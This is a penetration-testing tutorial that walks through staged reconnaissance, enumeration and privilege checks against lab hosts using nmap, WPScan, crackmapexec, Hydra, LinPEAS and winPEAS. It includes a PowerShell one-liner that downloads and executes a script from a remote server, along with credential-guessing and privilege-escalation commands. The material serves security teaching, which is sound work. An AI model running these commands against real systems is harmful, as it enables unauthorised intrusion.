On this page 27 sections
  1. Think in stages
  2. 1. Network reconnaissance
  3. Move from broad discovery to focused enumeration
  4. Build a service map
  5. 2. FTP enumeration
  6. Enumerate before attempting access
  7. 3. WordPress enumeration
  8. Why plugin versions matter
  9. 4. Search Metasploit by what you discovered
  10. 5. SSH access
  11. Initial access changes the objective
  12. 6. Transfer tools to Linux
  13. Automation supports enumeration, not understanding
  14. 7. Check sudo privileges
  15. Interpret sudo entries carefully
  16. 8. SMB enumeration
  17. NULL sessions and guest access
  18. 9. Credential validation with Hydra
  19. 10. Connect through RDP
  20. 11. Windows identity and privileges
  21. 12. Inspect scheduled tasks
  22. 13. Check Windows file permissions
  23. 14. Simple file transfer with Python
  24. Download a PowerShell script
  25. A practical pentest flow
  26. Keep notes during every phase
  27. Key takeaway
01

Think in stages

A penetration test is easier to manage when it is divided into clear phases. Start by discovering systems and services, enumerate what is exposed, identify a possible access path, then perform local enumeration from the obtained account. Each new piece of information should determine the next step instead of running tools without a clear objective.

02

1. Network reconnaissance

The first goal is to understand what is reachable. A network scan can identify hosts, open ports and the services exposed by each machine. Saving the output allows the results to be reviewed later and reused during deeper enumeration.

Scan the lab network
nmap -sV -p- 10.20.20.0/24 -oA network-scan
03

Move from broad discovery to focused enumeration

A full-port scan provides the attack surface. Once interesting ports have been identified, perform a second targeted scan with service detection and default Nmap scripts. This produces cleaner and more useful information than repeatedly scanning every port.

Enumerate discovered services
nmap -p21,22,443 -sV -sC target1.sam0x.me
04

Build a service map

Do not treat an open port as the final result. Translate each port into a service and decide how that service should be enumerated. FTP may expose files, SSH may provide remote access, HTTPS may expose a web application, SMB may reveal users or shares, and RDP may provide an interactive Windows session.

05

2. FTP enumeration

If FTP is exposed, connect to the service and inspect the available files. Files stored on an FTP server may provide configuration data, backups, credentials or other information relevant to the lab.

Connect to FTP
ftp target1.sam0x.me 21
List files
ls -al
Download a file
get <file>
06

Enumerate before attempting access

The objective of service enumeration is to gather enough context to make the next action intentional. Before trying credentials or modules, identify the software, version, configuration and any publicly accessible resources associated with the service.

07

3. WordPress enumeration

When a web application is identified as WordPress, WPScan can enumerate WordPress-specific information. Plugin enumeration is particularly useful because plugins add functionality and also expand the application attack surface.

Passive plugin enumeration
wpscan -e p --url https://target1.sam0x.me --disable-tls-checks --no-banner --plugins-detection passive -t 100
08

Why plugin versions matter

Identifying installed plugins is only the first step. The plugin name, installed version and configuration should be recorded so they can be compared with known issues during an authorised assessment.

09

4. Search Metasploit by what you discovered

Metasploit should normally be used after enumeration has identified a technology or service worth investigating. Searching by product, protocol or vulnerability keeps the workflow tied to evidence gathered during reconnaissance.

Start Metasploit
msfconsole -q
Search modules
search <term>
10

5. SSH access

SSH provides an authenticated shell on Linux and Unix-like systems. Access may use a password or a private key. Private SSH keys normally require restrictive local file permissions before the SSH client accepts them.

Protect a private key
chmod 600 id_rsa
Authenticate with a private key
ssh -i id_rsa john@target1.sam0x.me
Authenticate with a password
ssh john@target1.sam0x.me
11

Initial access changes the objective

After obtaining a shell, the focus moves from remote service enumeration to local system enumeration. At this point, identify the current user, privileges, accessible files, running services and possible paths to a higher-privileged account.

Identify current user
whoami
Inspect identity and groups
id
12

6. Transfer tools to Linux

Local enumeration tools can help collect system information, but understanding how files are transferred is equally important. The source material uses wget for downloading and SCP for transferring files through an existing SSH session.

Download LinPEAS
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
Transfer through SSH
scp -i id_rsa ./linpeas.sh john@target1.sam0x.me:/home/john
Run the script
bash linpeas.sh
13

Automation supports enumeration, not understanding

Tools such as LinPEAS can quickly identify interesting permissions and configurations, but their results should be validated manually. A useful finding is not simply something highlighted by a script: you should understand why the configuration matters and what privilege boundary it affects.

14

7. Check sudo privileges

One of the first Linux privilege checks should be sudo -l. It shows which commands the current account is permitted to execute through sudo and under which restrictions.

List sudo permissions
sudo -l
15

Interpret sudo entries carefully

A permitted command becomes interesting when it can perform actions outside its expected purpose, interact with files, execute other programs or otherwise cross a privilege boundary. The original lab example uses Nano executed through sudo.

Example privileged binary
sudo /usr/bin/nano
16

8. SMB enumeration

SMB is a key Windows and Active Directory protocol. Enumeration can reveal users, available shares and whether anonymous or guest access is permitted. These findings can provide additional information even before valid credentials are available.

Enumerate SMB
crackmapexec smb target2.sam0x.me
Test NULL session user enumeration
crackmapexec smb target2.sam0x.me -u '' -p '' --users
Enumerate shares as Guest
crackmapexec smb target2.sam0x.me -u guest -p '' --shares
17

NULL sessions and guest access

A NULL session attempts to interact with SMB without supplying a username or password. Guest access uses the Guest account. Whether either method works depends on the server configuration and security policy.

18

9. Credential validation with Hydra

If an authorised lab provides candidate credentials, Hydra can test authentication against supported services. In the source example, RDP is used as the target protocol. Credential testing should be controlled because repeated authentication attempts can trigger lockouts and monitoring systems.

Test supplied RDP credentials in a lab
hydra -l john -p "password" rdp://target2.sam0x.me
19

10. Connect through RDP

Once valid credentials have been identified, RDP provides an interactive Windows desktop. xfreerdp can establish the session directly from Linux and optionally define the screen dimensions.

Connect through RDP
xfreerdp /u:john /p:"password" /v:target2.sam0x.me /w:1366 /h:768
20

11. Windows identity and privileges

After obtaining a Windows session, determine the current security context. User privileges and group memberships reveal what the current account is allowed to do and may expose important differences between a standard user and an administrative context.

Show user privileges
whoami /priv
Show group memberships
whoami /groups
Show account information
net user john
21

12. Inspect scheduled tasks

Scheduled tasks execute programs or scripts according to configured triggers and security contexts. Reviewing them can reveal scripts, executable paths, service accounts and recurring administrative operations.

List scheduled tasks
schtasks /query /fo LIST /v
22

13. Check Windows file permissions

When a scheduled task or other privileged process references a script, inspect the permissions on that file. If a lower-privileged user can modify a file that is later executed by a more privileged context, the permission boundary deserves further investigation.

Inspect file permissions
icacls "C:\script.ps1"
23

14. Simple file transfer with Python

A temporary HTTP server is a simple way to expose files from a lab machine. Python includes a built-in HTTP server that can serve the contents of the current directory.

Start HTTP server
python3 -m http.server 8080
24

Download a PowerShell script

Windows can retrieve files from an HTTP server using PowerShell. The source material demonstrates downloading and executing an enumeration script directly from a temporary HTTP server.

Download and execute a lab script
powershell "IEX(New-Object Net.WebClient).downloadString('http://sam0x.me:8080/winPEAS.ps1')"
25

A practical pentest flow

The important part of this workflow is that each phase feeds the next one. Reconnaissance identifies services, service enumeration identifies possible access paths, authenticated access provides a local security context, and local enumeration determines whether that context can reach additional resources or privileges.

1. Discover services
nmap -sV -p- target1.sam0x.me -oA target1
2. Enumerate interesting ports
nmap -sV -sC -p21,22,443 target1.sam0x.me
3. Access the host when credentials are available
ssh john@target1.sam0x.me
4. Inspect Linux privileges
sudo -l
26

Keep notes during every phase

Record hosts, ports, services, versions, usernames, discovered files, authentication methods and privilege findings as they appear. A good penetration test is not only about gaining access; it should leave a clear trail explaining how each finding led to the next.

27

Key takeaway

The core pentesting cycle is enumeration, validation and deeper enumeration. Avoid jumping directly from an open port to exploitation. First understand the exposed service, gather evidence, validate the possible access path, and then reassess the system from the new security context.